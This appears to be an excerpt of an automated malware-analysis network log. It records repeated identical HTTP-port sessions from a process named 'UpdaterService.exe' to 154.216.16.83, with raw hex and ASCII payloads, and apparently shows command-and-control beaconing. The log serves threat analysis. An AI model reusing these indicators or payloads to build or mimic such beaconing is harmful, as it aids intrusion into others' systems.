Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49983	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:12.199275970 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:13.385720968 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49989	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:13.731059074 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:14.924364090 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49995	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:15.262053967 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:16.451291084 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49998	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:16.793128967 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:17.981393099 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50002	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:18.324743032 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:19.510230064 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50008	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:19.855675936 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:21.038933039 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50014	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:21.387105942 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:22.584719896 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50015	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:22.933860064 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:24.118097067 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50021	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:24.465320110 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:25.679688931 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50027	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:26.027462959 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:27.222218037 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50028	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:27.558829069 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:28.745189905 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50034	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:29.090132952 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:30.276479959 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50040	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:30.621493101 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:31.808331966 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50046	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:32.152568102 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:33.338654041 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50047	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:33.683753014 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:34.871932030 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50053	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:35.215029955 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:36.401989937 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50059	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:36.761625051 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:37.939029932 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50060	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:38.277529001 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:39.462335110 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50066	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:39.826397896 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:41.017362118 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50072	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:41.355658054 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:42.571419001 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50075	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:42.918180943 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:44.106035948 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50079	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:44.449599981 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:45.648762941 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50085	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:45.996408939 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:47.182393074 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50091	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:47.527909040 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:48.713890076 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50092	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:49.068187952 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:50.246700048 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50098	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:50.590363026 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:51.775391102 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50104	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:52.121347904 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:53.329715967 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50105	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:53.668380022 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:54.856564045 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50111	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:55.215070009 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:56.385122061 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50116	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:56.730717897 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:57.915236950 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50117	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:58.262181044 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:41:59.520617008 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50118	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:41:59.874113083 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:01.055995941 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
